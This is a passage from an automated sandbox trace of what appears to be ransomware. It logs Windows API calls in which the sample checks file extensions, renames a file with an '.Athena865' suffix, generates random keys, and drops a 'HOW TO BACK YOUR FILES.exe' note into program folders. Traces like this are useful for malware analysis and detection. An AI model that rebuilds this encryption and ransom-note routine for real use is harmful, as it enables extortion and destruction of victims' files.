lstrcmpiW (lpString1="wmz", lpString2="fol") returned 1 [0091.263] lstrlenW (lpString="fp3") returned 3 [0091.263] lstrcmpiW (lpString1="wmz", lpString2="fp3") returned 1 [0091.263] lstrlenW (lpString="fp4") returned 3 [0091.263] lstrcmpiW (lpString1="wmz", lpString2="fp4") returned 1 [0091.263] lstrlenW (lpString="fp5") returned 3 [0091.263] lstrcmpiW (lpString1="wmz", lpString2="fp5") returned 1 [0091.263] lstrlenW (lpString="fp7") returned 3 [0091.263] lstrcmpiW (lpString1="wmz", lpString2="fp7") returned 1 [0091.263] lstrlenW (lpString="fpt") returned 3 [0091.263] lstrcmpiW (lpString1="wmz", lpString2="fpt") returned 1 [0091.263] lstrlenW (lpString="frm") returned 3 [0091.263] lstrcmpiW (lpString1="wmz", lpString2="frm") returned 1 [0091.263] lstrlenW (lpString="gdb") returned 3 [0091.263] lstrcmpiW (lpString1="wmz", lpString2="gdb") returned 1 [0091.263] lstrlenW (lpString="gdb") returned 3 [0091.263] lstrcmpiW (lpString1="wmz", lpString2="gdb") returned 1 [0091.263] lstrlenW (lpString="grdb") returned 4 [0091.263] lstrcmpiW (lpString1=".wmz", lpString2="grdb") returned -1 [0091.263] lstrlenW (lpString="gwi") returned 3 [0091.263] lstrcmpiW (lpString1="wmz", lpString2="gwi") returned 1 [0091.263] lstrlenW (lpString="hdb") returned 3 [0091.263] lstrcmpiW (lpString1="wmz", lpString2="hdb") returned 1 [0091.263] lstrlenW (lpString="his") returned 3 [0091.263] lstrcmpiW (lpString1="wmz", lpString2="his") returned 1 [0091.263] lstrlenW (lpString="ib") returned 2 [0091.263] lstrcmpiW (lpString1="mz", lpString2="ib") returned 1 [0091.263] lstrlenW (lpString="idb") returned 3 [0091.263] lstrcmpiW (lpString1="wmz", lpString2="idb") returned 1 [0091.263] lstrlenW (lpString="ihx") returned 3 [0091.263] lstrcmpiW (lpString1="wmz", lpString2="ihx") returned 1 [0091.264] lstrlenW (lpString="itdb") returned 4 [0091.264] lstrcmpiW (lpString1=".wmz", lpString2="itdb") returned -1 [0091.264] lstrlenW (lpString="itw") returned 3 [0091.264] lstrcmpiW (lpString1="wmz", lpString2="itw") returned 1 [0091.264] lstrlenW (lpString="jet") returned 3 [0091.264] lstrcmpiW (lpString1="wmz", lpString2="jet") returned 1 [0091.264] lstrlenW (lpString="jtx") returned 3 [0091.264] lstrcmpiW (lpString1="wmz", lpString2="jtx") returned 1 [0091.264] lstrlenW (lpString="kdb") returned 3 [0091.264] lstrcmpiW (lpString1="wmz", lpString2="kdb") returned 1 [0091.264] lstrlenW (lpString="kexi") returned 4 [0091.264] lstrcmpiW (lpString1=".wmz", lpString2="kexi") returned -1 [0091.264] lstrlenW (lpString="kexic") returned 5 [0091.264] lstrcmpiW (lpString1="t.wmz", lpString2="kexic") returned 1 [0091.264] lstrlenW (lpString="kexis") returned 5 [0091.264] lstrcmpiW (lpString1="t.wmz", lpString2="kexis") returned 1 [0091.264] lstrlenW (lpString="lgc") returned 3 [0091.264] lstrcmpiW (lpString1="wmz", lpString2="lgc") returned 1 [0091.264] lstrlenW (lpString="lwx") returned 3 [0091.264] lstrcmpiW (lpString1="wmz", lpString2="lwx") returned 1 [0091.264] lstrlenW (lpString="maf") returned 3 [0091.264] lstrcmpiW (lpString1="wmz", lpString2="maf") returned 1 [0091.264] lstrlenW (lpString="maq") returned 3 [0091.264] lstrcmpiW (lpString1="wmz", lpString2="maq") returned 1 [0091.264] lstrlenW (lpString="mar") returned 3 [0091.264] lstrcmpiW (lpString1="wmz", lpString2="mar") returned 1 [0091.264] lstrlenW (lpString="marshal") returned 7 [0091.264] lstrcmpiW (lpString1="ert.wmz", lpString2="marshal") returned -1 [0091.264] lstrlenW (lpString="mas") returned 3 [0091.264] lstrcmpiW (lpString1="wmz", lpString2="mas") returned 1 [0091.264] lstrlenW (lpString="mav") returned 3 [0091.265] lstrcmpiW (lpString1="wmz", lpString2="mav") returned 1 [0091.265] lstrlenW (lpString="maw") returned 3 [0091.265] lstrcmpiW (lpString1="wmz", lpString2="maw") returned 1 [0091.265] lstrlenW (lpString="mdbhtml") returned 7 [0091.265] lstrcmpiW (lpString1="ert.wmz", lpString2="mdbhtml") returned -1 [0091.265] lstrlenW (lpString="mdn") returned 3 [0091.265] lstrcmpiW (lpString1="wmz", lpString2="mdn") returned 1 [0091.265] lstrlenW (lpString="mdt") returned 3 [0091.265] lstrcmpiW (lpString1="wmz", lpString2="mdt") returned 1 [0091.265] lstrlenW (lpString="mfd") returned 3 [0091.265] lstrcmpiW (lpString1="wmz", lpString2="mfd") returned 1 [0091.265] lstrlenW (lpString="mpd") returned 3 [0091.265] lstrcmpiW (lpString1="wmz", lpString2="mpd") returned 1 [0091.265] lstrlenW (lpString="mrg") returned 3 [0091.265] lstrcmpiW (lpString1="wmz", lpString2="mrg") returned 1 [0091.265] lstrlenW (lpString="mud") returned 3 [0091.265] lstrcmpiW (lpString1="wmz", lpString2="mud") returned 1 [0091.265] lstrlenW (lpString="mwb") returned 3 [0091.265] lstrcmpiW (lpString1="wmz", lpString2="mwb") returned 1 [0091.265] lstrlenW (lpString="myd") returned 3 [0091.265] lstrcmpiW (lpString1="wmz", lpString2="myd") returned 1 [0091.265] lstrlenW (lpString="ndf") returned 3 [0091.265] lstrcmpiW (lpString1="wmz", lpString2="ndf") returned 1 [0091.265] lstrlenW (lpString="nnt") returned 3 [0091.265] lstrcmpiW (lpString1="wmz", lpString2="nnt") returned 1 [0091.265] lstrlenW (lpString="nrmlib") returned 6 [0091.265] lstrcmpiW (lpString1="rt.wmz", lpString2="nrmlib") returned 1 [0091.265] lstrlenW (lpString="ns2") returned 3 [0091.265] lstrcmpiW (lpString1="wmz", lpString2="ns2") returned 1 [0091.265] lstrlenW (lpString="ns3") returned 3 [0091.265] lstrcmpiW (lpString1="wmz", lpString2="ns3") returned 1 [0091.266] lstrlenW (lpString="ns4") returned 3 [0091.266] lstrcmpiW (lpString1="wmz", lpString2="ns4") returned 1 [0091.266] lstrlenW (lpString="nsf") returned 3 [0091.266] lstrcmpiW (lpString1="wmz", lpString2="nsf") returned 1 [0091.266] lstrlenW (lpString="nv") returned 2 [0091.266] lstrcmpiW (lpString1="mz", lpString2="nv") returned -1 [0091.266] lstrlenW (lpString="nv2") returned 3 [0091.266] lstrcmpiW (lpString1="wmz", lpString2="nv2") returned 1 [0091.266] lstrlenW (lpString="nwdb") returned 4 [0091.266] lstrcmpiW (lpString1=".wmz", lpString2="nwdb") returned -1 [0091.266] lstrlenW (lpString="nyf") returned 3 [0091.266] lstrcmpiW (lpString1="wmz", lpString2="nyf") returned 1 [0091.266] lstrlenW (lpString="odb") returned 3 [0091.266] lstrcmpiW (lpString1="wmz", lpString2="odb") returned 1 [0091.266] lstrlenW (lpString="odb") returned 3 [0091.266] lstrcmpiW (lpString1="wmz", lpString2="odb") returned 1 [0091.266] lstrlenW (lpString="oqy") returned 3 [0091.266] lstrcmpiW (lpString1="wmz", lpString2="oqy") returned 1 [0091.266] lstrlenW (lpString="ora") returned 3 [0091.266] lstrcmpiW (lpString1="wmz", lpString2="ora") returned 1 [0091.266] lstrlenW (lpString="orx") returned 3 [0091.266] lstrcmpiW (lpString1="wmz", lpString2="orx") returned 1 [0091.266] lstrlenW (lpString="owc") returned 3 [0091.266] lstrcmpiW (lpString1="wmz", lpString2="owc") returned 1 [0091.266] lstrlenW (lpString="p96") returned 3 [0091.266] lstrcmpiW (lpString1="wmz", lpString2="p96") returned 1 [0091.266] lstrlenW (lpString="p97") returned 3 [0091.266] lstrcmpiW (lpString1="wmz", lpString2="p97") returned 1 [0091.266] lstrlenW (lpString="pan") returned 3 [0091.266] lstrcmpiW (lpString1="wmz", lpString2="pan") returned 1 [0091.267] lstrlenW (lpString="pdb") returned 3 [0091.267] lstrcmpiW (lpString1="wmz", lpString2="pdb") returned 1 [0091.267] lstrlenW (lpString="pdm") returned 3 [0091.267] lstrcmpiW (lpString1="wmz", lpString2="pdm") returned 1 [0091.267] lstrlenW (lpString="pnz") returned 3 [0091.267] lstrcmpiW (lpString1="wmz", lpString2="pnz") returned 1 [0091.267] lstrlenW (lpString="qry") returned 3 [0091.267] lstrcmpiW (lpString1="wmz", lpString2="qry") returned 1 [0091.267] lstrlenW (lpString="qvd") returned 3 [0091.267] lstrcmpiW (lpString1="wmz", lpString2="qvd") returned 1 [0091.267] lstrlenW (lpString="rbf") returned 3 [0091.267] lstrcmpiW (lpString1="wmz", lpString2="rbf") returned 1 [0091.267] lstrlenW (lpString="rctd") returned 4 [0091.267] lstrcmpiW (lpString1=".wmz", lpString2="rctd") returned -1 [0091.267] lstrlenW (lpString="rod") returned 3 [0091.267] lstrcmpiW (lpString1="wmz", lpString2="rod") returned 1 [0091.267] lstrlenW (lpString="rodx") returned 4 [0091.267] lstrcmpiW (lpString1=".wmz", lpString2="rodx") returned -1 [0091.267] lstrlenW (lpString="rpd") returned 3 [0091.267] lstrcmpiW (lpString1="wmz", lpString2="rpd") returned 1 [0091.267] lstrlenW (lpString="rsd") returned 3 [0091.267] lstrcmpiW (lpString1="wmz", lpString2="rsd") returned 1 [0091.267] lstrlenW (lpString="sas7bdat") returned 8 [0091.267] lstrcmpiW (lpString1="vert.wmz", lpString2="sas7bdat") returned 1 [0091.267] lstrlenW (lpString="sbf") returned 3 [0091.267] lstrcmpiW (lpString1="wmz", lpString2="sbf") returned 1 [0091.267] lstrlenW (lpString="scx") returned 3 [0091.267] lstrcmpiW (lpString1="wmz", lpString2="scx") returned 1 [0091.267] lstrlenW (lpString="sdb") returned 3 [0091.267] lstrcmpiW (lpString1="wmz", lpString2="sdb") returned 1 [0091.268] lstrlenW (lpString="sdc") returned 3 [0091.268] lstrcmpiW (lpString1="wmz", lpString2="sdc") returned 1 [0091.268] lstrlenW (lpString="sdf") returned 3 [0091.268] lstrcmpiW (lpString1="wmz", lpString2="sdf") returned 1 [0091.268] lstrlenW (lpString="sis") returned 3 [0091.268] lstrcmpiW (lpString1="wmz", lpString2="sis") returned 1 [0091.268] lstrlenW (lpString="spq") returned 3 [0091.268] lstrcmpiW (lpString1="wmz", lpString2="spq") returned 1 [0091.268] lstrlenW (lpString="te") returned 2 [0091.268] lstrcmpiW (lpString1="mz", lpString2="te") returned -1 [0091.268] lstrlenW (lpString="teacher") returned 7 [0091.268] lstrcmpiW (lpString1="ert.wmz", lpString2="teacher") returned -1 [0091.268] lstrlenW (lpString="tmd") returned 3 [0091.268] lstrcmpiW (lpString1="wmz", lpString2="tmd") returned 1 [0091.268] lstrlenW (lpString="tps") returned 3 [0091.268] lstrcmpiW (lpString1="wmz", lpString2="tps") returned 1 [0091.268] lstrlenW (lpString="trc") returned 3 [0091.268] lstrcmpiW (lpString1="wmz", lpString2="trc") returned 1 [0091.268] lstrlenW (lpString="trc") returned 3 [0091.268] lstrcmpiW (lpString1="wmz", lpString2="trc") returned 1 [0091.268] lstrlenW (lpString="trm") returned 3 [0091.268] lstrcmpiW (lpString1="wmz", lpString2="trm") returned 1 [0091.268] lstrlenW (lpString="udb") returned 3 [0091.268] lstrcmpiW (lpString1="wmz", lpString2="udb") returned 1 [0091.268] lstrlenW (lpString="udl") returned 3 [0091.268] lstrcmpiW (lpString1="wmz", lpString2="udl") returned 1 [0091.268] lstrlenW (lpString="usr") returned 3 [0091.268] lstrcmpiW (lpString1="wmz", lpString2="usr") returned 1 [0091.268] lstrlenW (lpString="v12") returned 3 [0091.268] lstrcmpiW (lpString1="wmz", lpString2="v12") returned 1 [0091.268] lstrlenW (lpString="vis") returned 3 [0091.269] lstrcmpiW (lpString1="wmz", lpString2="vis") returned 1 [0091.269] lstrlenW (lpString="vpd") returned 3 [0091.269] lstrcmpiW (lpString1="wmz", lpString2="vpd") returned 1 [0091.269] lstrlenW (lpString="vvv") returned 3 [0091.269] lstrcmpiW (lpString1="wmz", lpString2="vvv") returned 1 [0091.269] lstrlenW (lpString="wdb") returned 3 [0091.269] lstrcmpiW (lpString1="wmz", lpString2="wdb") returned 1 [0091.269] lstrlenW (lpString="wmdb") returned 4 [0091.269] lstrcmpiW (lpString1=".wmz", lpString2="wmdb") returned -1 [0091.269] lstrlenW (lpString="wrk") returned 3 [0091.269] lstrcmpiW (lpString1="wmz", lpString2="wrk") returned -1 [0091.269] lstrlenW (lpString="xdb") returned 3 [0091.269] lstrcmpiW (lpString1="wmz", lpString2="xdb") returned -1 [0091.269] lstrlenW (lpString="xld") returned 3 [0091.269] lstrcmpiW (lpString1="wmz", lpString2="xld") returned -1 [0091.269] lstrlenW (lpString="xmlff") returned 5 [0091.269] lstrcmpiW (lpString1="t.wmz", lpString2="xmlff") returned -1 [0091.269] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Media Player\\Skins\\Revert.wmz.Athena865") returned 64 [0091.269] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Media Player\\Skins\\Revert.wmz" (normalized: "c:\\program files\\windows media player\\skins\\revert.wmz"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Skins\\Revert.wmz.Athena865" (normalized: "c:\\program files\\windows media player\\skins\\revert.wmz.athena865"), dwFlags=0x1) returned 1 [0091.270] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\Revert.wmz.Athena865" (normalized: "c:\\program files\\windows media player\\skins\\revert.wmz.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.270] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=67209) returned 1 [0091.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.270] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.271] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.271] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.271] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10990, lpName=0x0) returned 0x154 [0091.274] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10990) returned 0x100000 [0091.278] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.278] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.278] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0091.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0091.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.279] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.279] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0091.280] CloseHandle (hObject=0x154) returned 1 [0091.280] CloseHandle (hObject=0x17c) returned 1 [0091.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.280] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.280] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9277700, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9277700, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9277700, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10689, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Revert.wmz", cAlternateFileName="")) returned 0 [0091.280] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0091.281] ReleaseMutex (hMutex=0xec) returned 1 [0091.281] CloseHandle (hObject=0xec) returned 1 [0091.281] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows Media Player\\Visualizations" | out: lpString1="C:\\Program Files\\Windows Media Player\\Visualizations") returned="C:\\Program Files\\Windows Media Player\\Visualizations" [0091.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0091.281] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f808 | out: hHeap=0x4f0000) returned 1 [0091.281] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Visualizations") returned 52 [0091.281] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\65D39386C11D5A6EF7D64D5A9322AB44") returned 0xec [0091.281] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0091.281] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows Media Player\\Visualizations" | out: lpString1="C:\\Program Files\\Windows Media Player\\Visualizations") returned="C:\\Program Files\\Windows Media Player\\Visualizations" [0091.281] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0091.281] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\visualizations\\how to back your files.exe"), bFailIfExists=1) returned 0 [0091.282] CreateFileW (lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows media player\\visualizations\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0091.282] GetLastError () returned 0x0 [0091.282] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0091.282] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0091.282] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0091.283] CloseHandle (hObject=0xf4) returned 1 [0091.283] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0091.283] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0091.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfd86fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbfd86fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0091.283] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.283] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.283] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0091.283] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xbfd86fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbfd86fe0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.283] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.283] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.283] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0091.283] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0091.284] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfd86fe0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbfd86fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0091.284] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0091.284] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfd86fe0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbfd86fe0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0091.284] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0091.284] ReleaseMutex (hMutex=0xec) returned 1 [0091.284] CloseHandle (hObject=0xec) returned 1 [0091.284] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files\\Windows NT\\Accessories" | out: lpString1="C:\\Program Files\\Windows NT\\Accessories") returned="C:\\Program Files\\Windows NT\\Accessories" [0091.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515d40 | out: hHeap=0x4f0000) returned 1 [0091.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c428 | out: hHeap=0x4f0000) returned 1 [0091.284] lstrlenW (lpString="C:\\Program Files\\Windows NT\\Accessories") returned 39 [0091.284] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\131844C3ED881DC56D83A36B68594578") returned 0xec [0091.284] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0091.284] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Windows NT\\Accessories" | out: lpString1="C:\\Program Files\\Windows NT\\Accessories") returned="C:\\Program Files\\Windows NT\\Accessories" [0091.284] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0091.284] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\Accessories\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\accessories\\how to back your files.exe"), bFailIfExists=1) returned 0 [0091.285] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows nt\\accessories\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0091.285] GetLastError () returned 0x0 [0091.285] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0091.285] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0091.285] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0091.286] CloseHandle (hObject=0xf4) returned 1 [0091.286] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0091.286] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0091.286] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc02bc000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc02bc000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0091.286] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.286] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.286] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0091.286] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xc02bc000, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc02bc000, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.286] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0091.286] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0091.286] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0091.286] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0091.286] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0091.286] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 